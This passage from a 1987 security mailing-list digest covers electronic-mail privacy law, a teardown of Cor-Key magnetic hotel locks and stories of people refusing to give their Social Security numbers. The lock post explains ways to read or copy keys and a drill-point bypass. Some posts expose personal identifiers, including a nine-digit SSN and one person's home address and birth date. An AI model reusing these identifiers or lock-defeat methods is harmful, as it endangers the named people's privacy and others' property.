Courier, and the U.S. Mail. There was a considerable fight some years back, I believe the 60's, where U.S. Mail Package Service was upgraded in Protection to U.P.S.. Does anyone have the exact definition of mail as used in this law ? or what it takes for a system to qualify ? Must the company file for licenses to be covered under such a law ? This is extremely vague but applaud MIT's Tech Talk, (is there any other ?), for their normative editorial position toward electronic messaging and conferencing privacy. Dave From: 20-May-1987 15:55:47 To: SECURITY@RED.RUTGERS.EDU Subj: [702] MAIL Privacy Discussion > [Isn't there a more appropriate mailing list where such things are discussed > continually and at length? If not, then go for it... _H*] Yes. On BITNET, it's known as MAIL-L, and is available from a number of LISTSERVers. I receive mine from LISTSERV@BITNIC. Hugh Pritchard PRITCHAR@CUA.BITNET Systems Programming The Catholic University of America Computer Center (202) 635-5373 Washington, DC 20064 Disclaimer: My views aren't necessarily those of the Pope. From: Bob Dixon 20-May-1987 12:17:53 To: SECURITY@RED.RUTGERS.EDU Subj: [1444] Impractical Legislation Another aspect of the recent privacy legislation concerns radio receivers. For the first time in US history, it is now illegal to tune a radio receiver to certain frequencies and listen to whatever may be transmitted there. This refers specifically to the cellular radio frequencies in the 800 mHz range, which are used for mobile telephones. The vendors of these systems have been telling their customers they are just as private as wire connections, but this has never been true. But since it improves sales to make the claim, they still do, and now there is legislation that tries to make it be true by fiat. Any UHF TV receiver and many commonly-available scanner receivers can tune to these frequencies, so it seems futile to say in essence "don't touch that dial" to someone who might happen to tune across those particular frequencies. The FCC has already said they have no intention of enforcing this legislation. The vendors could always encode their signals, but they do not want to as that would raise costs and decrease profits. I heard that some legislative body once decreed that pi = 3 exactly, because it made calculations easier. Bob Dixon Ohio State University From: 20-May-1987 12:55:49 To: security@uga Subj: [1599] Re: Electronic mail privacy > From: Richard Cheshire > Great! There's legislation to stop it! Harrah! After all, look at how much > drug legislation there is, and how it has decreased drug trafficing. There > are more and more laws regulating automobiles, so there will be fewer > accidents. That legislation also treats head on the "Human Nature" issues. > How? Just by making things illegal. Agreed! Just as it seems to be with your other examples, I think it is up to inidivdual security people and system administrators how seriously they take mail privcay and enforcement of the rules. It seems to me that anyone who values mail privacy should work to insure it and punish those who do the breaking, and that those who make the choice not to care as much should not mind so much when their mail system gets taken apart. Yes, this would be a step backward (a giant leap?) in standardization of legislation, and I realize it would be impractical to leave these decisions to each individual system's policies. But, is this kind of standardization necessary? While I'm thinking (it is indeed rare), what does this do to plans I have aheard about from the phone company to charge more for lines which are used with a modem? If it is my residential line, they would have to have some kind of line-monitoring. If I am doing e-mail, is their line monitoring illegal? Is it legal when I'm not? Chris Petersen Disclaimer: Who cares what I say anyway? From: Henry Mensch 20-May-1987 14:28:06 To: Subj: [339] Re: Electronic mail privacy >> [Isn't there a more appropriate mailing list where such things are discussed >> continually and at length? If not, then go for it... _H*] This has already been beaten to death in the RISKS digest, I think. -- Henry From: Jack Ostroff 21-May-1987 11:23:54 To: security@RED.RUTGERS.EDU Subj: [1044] more on traffic light sensors From my experience of having driven ambulances and a fire truck (both as a volunteer, not a professional) changing all four directions to red might decrease problems with traffic light phreaks, but green really helps. Even emergency vehicles with lights and sirens on are supposed to stop before proceeding through a red light. (I know it doesn't always happen that way, but if an emergency driver doesn't stop at red light, any accident is considered his fault.) The second problem is with having the lights respond to the siren. Most emergency vehicles use electronic sirens - which can produce several kinds of sounds (wail, yelp, hi-lo) and drivers frequently keep switching between them to try to get the attention of oblivious drivers of nearly sound-proof cars. Such sensors would have to respond to all modes of all makes of sirens used in that area. Jack (OSTROFF@RED.RUTGERS.EDU) From: davy@intrepid.ecn.purdue.edu (Dave Curry) 24-May-1987 20:25:01 To: risks@csl.sri.com, security@red.rutgers.edu Subj: [1433] Electronic Communications Privacy Act When I got the MIT notice from the SECURITY list, I did a little digging in the law books (Purdue's library is a Federal Depository). I pulled out a copy of the Act (Public Law 99-508, H.R. 4952) and a copy of Title 18 of the United States Code, which it amends. From this (after a couple of hours of "strike words a through f, insert words g through m" -- I'd hate to be a law clerk), I extracted most of the "interesting" parts of the law. These parts pertain to administrators and users of electronic communications services (if your machine has electronic mail or bboards, it fits into this category). The parts I specifically went for were what we can and cannot do, what the punishment is if we do it, and what our means of recourse are if it's done to us. I left out all the stuff about government agents being able to requisition things and stuff, and all the stuff pertaining to radio and satellite communications. So anyway, I typed all this stuff in to give it to our staff so they'd be aware of the new legislation. Since there is probably interest in this, I am making the document availble for anonymous ftp from the host intrepid.ecn.purdue.edu. Grab the file "pub/PrivacyAct.troff" if you have troff (it looks better), or "pub/PrivacyAct.output" if you need a pre-formatted copy. Bear in mind I'm not a lawyer, and I just typed in the parts of the law I deemed to be of interest to our staff. --Dave Curry From: Steinar Haug 27-May-1987 08:54:50 To: , Subj: [1049] Encryption, anyone? In connection with the implementation of secure MHS (X.400 based) systems, I'm looking for any available programs to perform DES and/or RSA encryption. Before you start telling me about it: Yes, I'm aware that there is a version of DES used in Unix systems to encrypt passwords. Yes, I'm aware of the MP multiple precision math package running under Unix. The trouble with both of these is that they are simply too slow! The Unix DES because (among other things) it was made slow on purpose; the mp package because it is a very general package using a lot of malloc/free calls. So I'm looking for something faster... Preferably written in C or Pascal, running on VMS or Unix systems. Any help is appreciated! Steinar Haug Database Research Group, Computing Center at the Univ. of Trondheim, Norway E-mail: haug%vax.runit.unit.uninett@nta-vax.arpa steinar@nta-vax.arpa From: *Hobbit* 29-May-1987 06:42:15 To: security@RED.RUTGERS.EDU Subj: [6668] Evaluation: Cor-Key Magnetic locks I recently had a chance to disassemble and examine yet another type of hotel security system. These are all-mechanical magnetic door locks made by Cor-Key Systems in California. The user is given a small white plastic card with rounded ends, and inserts same into a slot in the top of a rather large doorknob on his room. Pushing the card all the way into the slot "connects" the knob to the actual latch hardware and allows entry; otherwise the knob just spins around. The neat thing about these is that the latch and the rest of the lock are a standard lockset that could have been made by anybody, and to upgrade to the Cor-Key system one simply has to install this other doorknob. Thus the hotel, which previously had regular old key locksets, avoided a lot of expense and retrofitting. Internally, the lock works entirely by magnetism. The card is laminated plastic over a layer of rather granular magnetic material that can be magnetized in small regions and hold the field virtually forever. When the card is inserted into the slot it covers up a matrix of 35 or so holes, and the tumblers move according to how the north or south regions on the card line up with the matrix. The tumblers themselves are small cylindrical permanent magnets, and are attracted or repelled by the card regions. About nine of these are sprinkled around the matrix, leaving a lot of the holes empty. Each tumbler has a spot of either red or blue ink on one end to indicate its polarity. The parts are arranged as follows, moving toward the door along the axis of the shaft. Front doorknob surface, steel plate, card slot, thin nonmagnetic metal plate, brass plate with holes, plastic slider with wells containing the tumblers. Everything except the plastic slider is fixed in place; the slider is held in place by the tumblers, which normally are attracted partway out of their wells toward the steel plate and are thus protruding through the holes in the brass plate. Thus the slider can't slide, because the tumblers are locking it to the brass plate. The correct key imposes itself down between the steel plate and the tumblers, and if the regions on the key repel *all* the tumblers away from itself, all the tumblers retreat into the plastic housing out of the brass plate. Then the slider is free to move, which it does when the key is pushed down the last quarter-inch or so. This engages the latch mechanism and connects it to the knob, so the door will open when the knob is turned. There is a mechanism for rekeying a door quickly: near the bottom of the knob there are two small holes through which a small tool can be inserted. Under these are two rotating alloy carriers, each containing one tumbler. Each carrier can be rotated to one of four positions, giving a total of 16 combinations between them. Rotating one of these moves the respective tumbler to a different point in the matrix, thus disabling one key and allowing a new one to work. Guest keys would have variable encoding in these matrix regions, and the master key[s] would be configured such that they would address these tumblers regardless of where they were. Since this only creates 16 possible combinations between them, it is a "first level" of mastering which can be changed without disassembly. More in-depth mastering is done by leaving parts of the static matrix empty, but the tumblers that are installed will match the corresponding regions of the master keys. In an unmastered system, if the entire matrix were filled with tumblers, all the locks and keys would be configured the same and all keys would work everywhere. Each lock is made unique by removing different parts of the matrix, and each guest key is made unique by differently magnetizing the "don't care" regions that correspond to the empty parts of the matrix in the given door. Thus Guest A's key will correctly address the parts of the matrix that Room A's knob contains, but the *other* regions in his key will incorrectly address the filled matrix locations of Room B's lock. The master key essentially repels the entire matrix's worth of tumblers, whether it's there or not. It was mentioned that the master also has a hole in the appropriate place to bypass the double-locking mechanism -- normally when the door is double-locked, a small rod protrudes into the key slot and completely prevents insertion of a normal key. Each location in the matrix is numbered [not in any obvious way, but...] so that the combination can easily be represented by a computer. Although in the past when the company started, records of whose lock contained what were kept in large books, computers are now being used to keep track of this. The keys are magnetized at the desk with a machine containing an equivalent matrix full of electromagnets. These can generate, I'm told by the Cor-Key people, fields of 250 gauss or so. A key region can be made north, south, or neutral; it is possible to "read" a key's encoding by running a !small! magnet over it and feeling if it's attracted, repelled, or ignored. [One of the tumblers glued to a piece of flexible wire worked fine.] However, even examining the part of the matrix you were given only gives you a small section of the master key, so it's virtually impossible to generate a hotel master by examining your own lock. Pick this one? Forget it. The tumblers are inaccessible behind the thin nonmagnetic plate. Perhaps a very large strong electromagnet could fit over the entire knob, remagnetize *all* the tumblers one way [good luck!] and then apply a gentler field in the reverse direction to push them all inward. I really don't see something like this working either. An expensive and precise piece of equipment could concievably be built to stick a small coil down into the slot and "read" the matrix by applying fields in different directions while the user listens for each individual tumbler to bang against one end or the other. Yuk. Conceptually, therefore, the Cor-Key is fairly secure. Unfortunately the workmanship of the lock itself is a bit on the shoddy side, and I was told by the people who build them that the official "backdoor" used in cases where the lock is completely screwed up is to drill a hole in a magic spot and force the latch mechanism to engage. Furthermore, to *really* re-key the lock it must be taken completely apart, because any key encoded the same all over the two changeable regions will open the lock regardless of where the carriers are rotated to. _H* From: Michael Robinson 29-May-1987 13:55:21 To: SECURITY Digest Subj: [911] Privacy in Electronic Communication You'd have an awfully hard time proving a case of electronic espionage against someone if you failed to take any steps to protect your own interests. The burden of proof always rests with the prosecution. The easiest way to send sensitive information is to use the telephone or some other network which has made some sort of legal guarantee of privacy. And take some sort of action to protect your interests in the event of casual contact. For example, you can encrypt the message and attach a plaintext notice which clearly states that the contents of the message are confidential. Casual contact with the message will not damage your interests. No one who tampers with the message can honestly say that they didn't know that it was wrong. /mr/ From: 4-Jun-1987 22:30:31 To: security@red.rutgers.edu Subj: [557] Re: Evaluation: Cor-Key Magnetic locks Science marches forward: A piece of high-temperature superconductor would repel all the tumblers. A magnetic metal with a low (but above room temperature) Curie point could be heated to above the Curie point, inserted into the slot, and allowed to cool. It would then carry a "negative" field of the correct key. You'd have to reverse the polarity of each magnetized region. Gee, what fun. Matt Crawford From: Chris Miller 11-Jun-1987 11:52:12 To: security@RUTGERS.EDU Subj: [1115] References request : I am currently researching a PhD in computer security at Heriot-Watt University, Edinburgh,Scotland. My main topic is formal models and their representation as logical rules in an expert system or logic database. At this time I am still reviewing the literature in the field, and as such I would be extremely grateful for any information/reference list or conference proceedings that readers can recommend. Many thanks. ----------------------------------------------------------------------------- David J Ferbrache | | Heriot-watt university | JANET : davidf@uk.ac.hw.cs | Dept of Computer Science | UUCP : davidf@cs.hw.ac.uk | 79 Grassmarket | TELE : (UK) 31-225-6465 ext 553 | Edinburgh EH1 2HJ | | Scotland. | | From: kohl@anl-mcs.arpa (C-234) 24-Jun-1987 15:47:24 To: Security@RUTGERS.EDU Subj: [670] Security Auditing Program Greetings: I am looking for a copy of the source code (online) for a set of security auditing programs as described and listed in the book "UNIX SYSTEM SECURITY" by Wood and Kochan. Could you provide me with this software or point me to who could? I would rather not type in 20 pages of code if I could help it. Also if there are any other Unix security programs which might be of interest, please let me know. Thanks for your time, Jim Kohl Mathematics and Computer Science Division Argonne National Laboratory (kohl@anl-mcs.arpa) From: hao!gatech!spaf@ames.arpa (Gene Spafford) 21-Jul-1987 14:37:36 To: security@RUTGERS.EDU Subj: [5205] SS# & Utilities -- a story As a matter of principle, I'm one of those people who won't give out my social security number when applying for utilities or credit cards. The reasons why have been discussed numerous times in various security-related groups. It is my understanding that it is against the law to force someone to give his/her social security number unless it is a government agency; although I've often run into occasional resistance, a few moments of explanation has usually resulted in things working out okay. Then there's today. I'm moving to W. Lafayette Indiana in two weeks and I called to establish my phone service there. Indiana is served by GTE for phone service. I did not anticipate any problems since I have an excellent credit history, as could be verified by a quick check with the local Southern Bell folks. After the rep at GTE took all my information down, she asked for my SS#. I explained that I don't give that out. She informed me that I would be required to pay a $75 deposit if I refused to give my SS#. So, I asked to talk to her supervisor. Her supervisor repeated that I would have to give my SS# to waive the deposit. I asked if they could simply call Southern Bell or take a credit card #, or they could call Purdue and verify my employment. He said that wasn't enough -- I had to supply my SS#, no other option. I enquired as to why they needed it -- he said it was for a credit check and to verify future disconnect requests. I explained that they could do that self-same credit check without the SS# *and* I don't give out my SS# precisely because I don't want it used as a verification number on my account. He insisted I either supply the number or pay the deposit. He also asked why I was being so stubborn -- it was even on my driver's license, wasn't it? (It isn't -- and hasn't been. In Georgia, you have always had the option of having a different ID, and now the licenses are being issue with those as default. The guy at GTE claims that the Indiana licenses are *required* to have the SS# on them -- anyone know if this is true? It shouldn't be...) I explained that having done some work in computer security, and personal experience, I know how that number can be abused. He said I was the only person he'd ever run into to refuse to give the SS# (!). I then asked him if the requirement for a SS# was written policy -- I wanted a copy to examine. He informed me that such information was private to the company and I couldn't have a copy -- didn't I trust him? I then asked if that policy was on file with the state Public Service Commission. At that he (rather loudly) asked if I wanted service with GTE or not? I asked him very calmly if he was threatening to deny me service -- he quieted down. I next explained that I wanted to see a copy of the written policy because it would be interesting to include in an article I might write on improper use of SS#s. He became very quiet. I offered to find the name and number of someone at Southern Bell who could verify my 9 years of service here. He said to call back with that information (thankful to get rid of me, I guess). The lady I talked to at Southern Bell was very helpful. She informed me that all the Southern Bell operators are told not to force a SS# because it is against both policy and law, but if someone won't provide it they are to get a bank account # or credit card number (both of which I am willing to give in circumstances such as this). She was more than willing to talk to the supervisor at GTE and give him a credit reference, if only he'd call. She said she'd also fill him in on policy. *AND*, most interestingly, Southern Bell had somehow obtained my SS# through other means and it was on file, but she marked it so that it was not to be given out to anyone, specifically not anyone with GTE Indiana. :-) Back to GTE. I called the supervisor (collect, of course) and gave him the name and number of the lady at Southern Bell. He was very curt and said he'd probably still require a deposit. He hung up on me. 20 minutes later the original GTE operator called me back and cheerily informed me that my service would be turned on August 4 with *no* deposit required! Questions --------- 1) Do many of you (net-readers) withhold your SS# in similar circumstances? Do you have these kinds of confrontations too? 2) Anyone know if other people at GTE Indiana are such jerks, or is this an isolated instance? 3) Anyone know if Indiana does, in fact, *require* that the SS# be on the driver's license? 4) Should I bother to follow-up on this further? That is, should I bother contacting the Public Service commission in Indiana about the treatment I received? (I'm currently not sure it is worth the effort). Too bad we don't have a choice of phone companies as well as long distance carriers -- I'd keep Southern Bell. -- Gene Spafford Software Engineering Research Center (SERC), Georgia Tech, Atlanta GA 30332 Internet: spaf@gatech.gatech.edu uucp: ...!{decvax,hplabs,ihnp4,linus,rutgers,seismo}!gatech!spaf From: khayo@locus.ucla.edu 21-Jul-1987 16:08:09 To: security@RUTGERS.EDU Subj: [2289] Re: SS# & Utilities -- a story In article <16026@gatech.edu> spaf@gatech.UUCP (Gene Spafford) writes: As a matter of principle, I'm one of those people who won't give out my social security number when applying for utilities or credit cards. (...) 1) Do many of you (net-readers) withhold your SS# in similar circumstances? Do you have these kinds of confrontations too? When I came to the US I was sufficiently worried about getting a bank acct., insurance etc. that I didn't even think about this problem. Now I wish I had - not because of any abuse of my SS# (at least I'm not aware of it), but as a matter of principle. Now my # is all over the place, so there's no point withholding it; but I'm glad to see that there still are some Don Quixotes like you. This country is one of the very few remaining in which *privacy* still has some practical meaning, and where an average guy can influence the world (at least locally) by *doing* things [to the skeptical "realists" out there: this may sound like idealism, I realize that, but believe me - it's true!]. 4) Should I bother to follow-up on this further? That is, should I bother contacting the Public Service commission in Indiana about the treatment I received? (I'm currently not sure it is worth the effort). YES, you should! YES, it's worth the effort. As an aside, my fight with windmills consists largely of writing letters to various Co.'s from which I received a less-than-reasonable service. I was surprised that most of them (Sears, United Airlines, Ralphs stores etc.) take such letters seriously - at least someone high-up reads them & sends an individually written reply. In some cases I noticed that things that I complained about actually changed for the better just after I received an answer, but of course it may be a coincidence. But what surprised me even more is that so many people around me think I'm nuts to even bother, saying that it's a total waste of time. Oh, well, I'll just keep doing that until my Mac drops dead. (BTW, so far I got frustrated in only one case: USPS; 5 letters to the Postmaster without a reaction...) Eric From: duke!cds@mcnc.org (Craig D. Singer) 22-Jul-1987 15:09:15 To: security@RUTGERS.EDU Subj: [2059] Re: SS# & Utilities -- a story >As a matter of principle, I'm one of those people who won't give out my >social security number when applying for utilities or credit cards. >(...) > >1) Do many of you (net-readers) withhold your SS# in similar circumstances? >Do you have these kinds of confrontations too? When I came to the US I was sufficiently worried about getting a bank acct., insurance etc. that I didn't even think about this problem. Now I wish I had - not because of any abuse of my SS# (at least I'm not aware of it), but as a matter of principle. Now my # is all over the place, so there's no point withholding it; but I'm glad to see that there still are some Don Quixotes like you. I agree that Mr. Spafford showed great poise and determination in refusing to give out information against his will. But as Mr. Behr has pointed out, there's no point withholding it once everybody has it. And, considering that Southern Bell had Mr. Spafford's social security number in spite of the fact that he never gave it to them personally, it's clear to me that if someone wants your SS# bad enough, they'll get it whether you want them to or not. I'll agree that withholding it whenever possible at least reduces the probability that some Joe on the street will obtain it and misuse it; but there's a bit of paranoia in that attitude as well. If the options are to risk the information leakage and subsequent misuse, or to have stress- inducing episodes similar to Mr. Spafford's affair with the arrogant GTE employee, personally I'll take the information risk. Nevertheless, an interesting account of the narrowing interpretation of American privacy. -- Craig D. Singer ARPA: cds@cs.duke.edu Department of Computer Science UUCP: ...!decvax!duke!cds Duke University CSNET: cds@duke Durham, NC 27706-2591 USA Phone (919) 684-5110 ext. 20 From: poisson.usc.edu!mlinar@oberon.usc.edu (Mitch Mlinar) 23-Jul-1987 01:06:33 To: security@RUTGERS.EDU Subj: [814] Re: SS# & Utilities -- a story In article <16026@gatech.edu> spaf@gatech.UUCP (Gene Spafford) writes: >3) Anyone know if Indiana does, in fact, *require* that the SS# be >on the driver's license? I am not sure about Indiana, but I have lived in CA, WI, IL, and CO: NONE of them require SS#. In fact, WI and IL function off credit cards whereas CA and CO function of driver's license #. It is also a GOOD idea to check with the local SS office every two years and get a report of your account activity (you are legally entitled). If there has been anyone USING your SS# to "steal" the funds, you will know about it. (If you wait more than 7 years[?], whatever is missing is gone.) From: Paul Martin 24-Jul-1987 15:00:22 To: security@RUTGERS.EDU Subj: [4197] SSN again I too have resisted handing my SSN to every bozo who requests it, and have consistently met with great surprise that anyone should be so brazen as to hide such basic information. I got in the habit of refusing to supply it when I worked for business DP houses to support my undergradutate education. California asked me for it when I traded in my NC drivers license (1972), and also every time I've registered a car here since then. They always point out that I HAVE to supply it, so I write "Privacy Act" in the slot, they show it to their supervisor, and the matter ends there. It turns out that California uses the SSN to tie drivers licenses and vehicle registrations together, so that if a driver has any dealings with the law, any warrants for old parking tickets can be settled by putting him in jail until they are paid off. While this certainly has the effect of reducing the number of parking scofflaws on the roads, it has interesting implications for the SSN. I learned of the DMV practice in 1974 when I was stopped on suspicion of car theft while trying to push-start my girl-friend's car for her. The officer got friendly when the ownership was cleared up, but then pursued and pulled me when the radio dispatch told him I had an outstanding warrant for parking. Details of the warrant and the claim that it arose from a parking incident in a year that I was never in CA convinced me, and eventually the officer, that something was amiss. He let me "escape", and, per my promise, I called the sheriff to find out what was up. Seems that a fellow named "Paul __Allen__ Martin" had lived in Monterey, parked overtime in SanFran, and failed to pay the piper for this tune. So what? Well, seems he had ALSO refused to supply his SSN, so both he and I had "000-00-0000" entered in the DMV computer; the drooling idiots in DMV's DP department hadn't provided a value to indicate "not known" for that field! So, the officer calling my name in on the radio [Paul ___Alan___ Martin] would be informed of "my" warrants based on an "exact match" on the SSN. For the next three years, I had to point out the spelling of my middle name as a prelude to every dealing with DMV and law officers to avoid a trip to the cooler. The statute of limitations finally came to my rescue, but I have no idea whether I'm still on file as "bad guy who got away". I am a regular blood donor for both the Red Cross and the local med school hospital (Stanford U). I have done pheresis donations for specific patients; this is a process where 6 to 12 times as much blood as a normal donation is taken (a bit at a time) and separated to extract just the component needed by the patient. The components are always something like white cells which, especially in such high doses, must be carefully matched to the recipient's immune system. This matching process is the same one used for organ donor matching; because of the degree of match required, there are typically dozens instead of millions of potential donors known for a given pattern. To block all sorts of undesirable interactions (e.g., bribery, extortion, or even innocent but desperate pleading), a secure wall of anonymity is maintained between the donor and the recipient. Despite this, the Red Cross and Stanford Med Center each ask for the donor's SSN! When I refuse it (offering some alternative to disambiguate me from others with the same name), they ask me "Why?" I point out that if their files on HLA type (the immune system coding scheme) were ever stolen, I'd hate to have someone who was quite rich, quite sick, and quite ruthless discover that (1) I matched his HLA type, (2) My heart works a lot better than his (or else they wouldn't accept me as a pheresis donor), and (3) I've filed a universal organ donor card, making my spare parts available in the event that some hood should happen to blow my head off in the foyer of a hospital.... After hearing this explanation, most nurses say something along the lines of "I wonder if I can purge my OWN SSN from the database?" Cheers... Paul From: "Bryan, Jerry" 24-Jul-1987 17:13:26 To: Subj: [3575] SS# & Utilities -- a story As a matter of principle, I'm one of those people who won't give out my social security number when applying for utilities or credit cards. The reasons why have been discussed numerous times in various security- related groups. It is my understanding that it is against the law to force someone to give his/her social security number unless it is a government agency; although I've often run into occasional resistance, a few moments of explanation has usually resulted in things working out okay. I wish you were correct, but contrariwise, there seem to be no restrictions whatsoever about the use of social security numbers *outside* the government. All the restrictions seem to apply only to the government. The guy at GTE claims that the Indiana licenses are *required* to have the SS# on them -- anyone know if this is true? It shouldn't be...) Again, sorry to be a pessimist, but driver's licenses are one area where federal law specifically *permits* states to require SSN's. Of course, once it is a part of your driver's license, there is virtually no way *not* to give it out to the rest of the world. Also, I spent three years in Virginia not being able to vote because I would not give them my SSN. In the bitter end, the law was on their side via a grandfather clause. This is different from the driver's license case. A state can require SSN for voting only if they required it before some date ('74 maybe, or '79), but they can require it for driver's license, period. Also, *every* time the government asks for it, they are supposed to cite the law which authorizes it, but they never do. Unfortunately, if they violate federal law by failing to provide such notification, there is not penalty. Thus, there is no real force to the law. 1) Do many of you (net-readers) withhold your SS# in similar circumstances? Do you have these kinds of confrontations too? Yes, and yes, but I have just about given up. The people you deal with do not know what you are talking about, and have no authority anyway. Going to supervisors does not really improve things. I am convinced that effort at this level is totally wasted. About the only place where effort is worthwhile is with Congress. Until there is legislation without so many exceptions and with penalties for non-compliance, we are all wasting our time. 3) Anyone know if Indiana does, in fact, *require* that the SS# be on the driver's license? I believe the answer is yes, based on relatives who live there. 4) Should I bother to follow-up on this further? That is, should I bother contacting the Public Service commission in Indiana about the treatment I received? Possibly, but only for the treatment you received, not the SSN issue itself. As a point of interest, there are many cases that the applicability of the existing law (weak though it may be) is unclear. The existing law applies to "federal, state, and local government". For example, is a state university covered as "federal, state, or local government"? Is a phone company which is regulated by a State government? My experience is that a state university will claim to be a part of the state government when it is to their advantage and your disadvantage, and vice versa of course (as when state employees are given a pay raise and university employees are not or vice versa). From: Nick Papadakis 24-Jul-1987 17:42:32 To: security@RUTGERS.EDU Subj: [2144] SS# & Utilities -- a story As a matter of principle, I'm one of those people who won't give out my social security number when applying for utilities or credit cards. me too. 1) Do many of you (net-readers) withhold your SS# in similar circumstances? Do you have these kinds of confrontations too? sure do. 3) Anyone know if Indiana does, in fact, *require* that the SS# be on the driver's license? Couldn't say. Virginia has written a statute that requires it for Virginia licenses. 4) Should I bother to follow-up on this further? That is, should I bother contacting the Public Service commission in Indiana about the treatment I received? (I'm currently not sure it is worth the effort). Every time I have been asked for my ssn by someone who legitimately requires it (i.e. the federal government) there has been an accompanying blurb with a reference to the federal law that empowers them to ask for it. Evidently Virginia is attempting to emulate this strategy. Unfortunately, the ssn isn't exactly in their purview, and their reasons for "needing" it fall more under the heading of convenience than real need. I frankly don't see why people's privacy should be threatened in order to make things slightly easier for a few programmers. Virginia has a history of being a place where bad laws are made. An example is the illegality of radar detectors there. (as far as I know, only D.C. and Connecticut have similar laws.) I'd say, make it as expensive as you can for them to do business with you until they do business right. Monopolize as much phone time and letter writing-time as possible - it costs them about $30 to write you a form letter. Monopolies need to be kicked periodically. Use your rights or lose them. Too bad we don't have a choice of phone companies as well as long distance carriers -- I'd keep Southern Bell. Maybe you should find out how they got your ssn first ... -- Nick Papadakis nick@mc.lcs.mit.edu SSN: 213-09-2981 (right ...!):-) From: DPickett@his-phoenix-multics.arpa 25-Jul-1987 00:56:15 To: Security@RUTGERS.EDU Subj: [1944] Re: SS and the data theives... The privacy act of 19?? (consult your local ACLU chapter) forbids use of the SSN except for valid SS purposes like tax and employment and such, except for federal agencies covered under a grandfather clause and also state governments, but then only by statute (no bureaucratic initiatives without legislative approval). New Jersey had a bill bouncing around to rescind the bill that allowed them to force us to divulge it. My university tried to get it, but I made them give me another and then had a great time correcting and confusing them with my 4 digit "Social Security Number". The main reason for overuse of the SSN is simplemindedness. Numbers are a great resource. You can give them out. Until you give out a lot, they stay compact. Anyone can make up a numbering system. But they prefer to steal someone else's system, especially if you already know your number and it is unique. There is a natural tendency for the disadvantages of an old way to attach themselves to a new way. Ever see a computer operator cry because checks get ruined? You'd think it was money, not preprinted forms!!! So it is with numbers; instead of your name and address or whatever, they can organize their data better by arbitrary numbering. But they use non-arbitrary numbering, because they miss the point! So, the best reason to refuse them your SSN is that they are misusing the concept of numbering! Spread knowledge to the masses. Explain how numbering works best only if it is arbitrary and specialized. Explain how the SSN has so many digits that they could as easily look up your name! (9999 customers looked up in a table of SSN could take ten trillion digits of storage!) Point out that you are the only David Pickett at RR2, box 631, Thorofare, NJ 08086-9632, born 5/20/49. From: William Daul / McDonnell-Douglas / APD-ASD 27-Jul-1987 17:29:03 To: SECURITY@RUTGERS.EDU Subj: [481] Garage Door Openers (not your typical question) A friend of mine has a two car / two door garage. He wants to install a remote control garage door opener on both doors with different frequencies for each door. He would also like ONE controller that can switch between the frequencies. Is there such a off-the-shelf system? Thanks, --Bi// From: Larry Hunter 27-Jul-1987 12:05:37 To: security@RUTGERS.EDU Subj: [3317] Re: SS# & Utilities -- a story 1) Do many of you (net-readers) withhold your SS# in similar circumstances? Do you have these kinds of confrontations too? Yes! I had a similar confrontation with Southern New England Telephone. When I initially tried to acquire phone service in New Haven, I refused to give out my social security number. The customer service representative told me I would have to make a $200 deposit in lieu of giving out my SSN. I asked to talk to his supervisor. The supe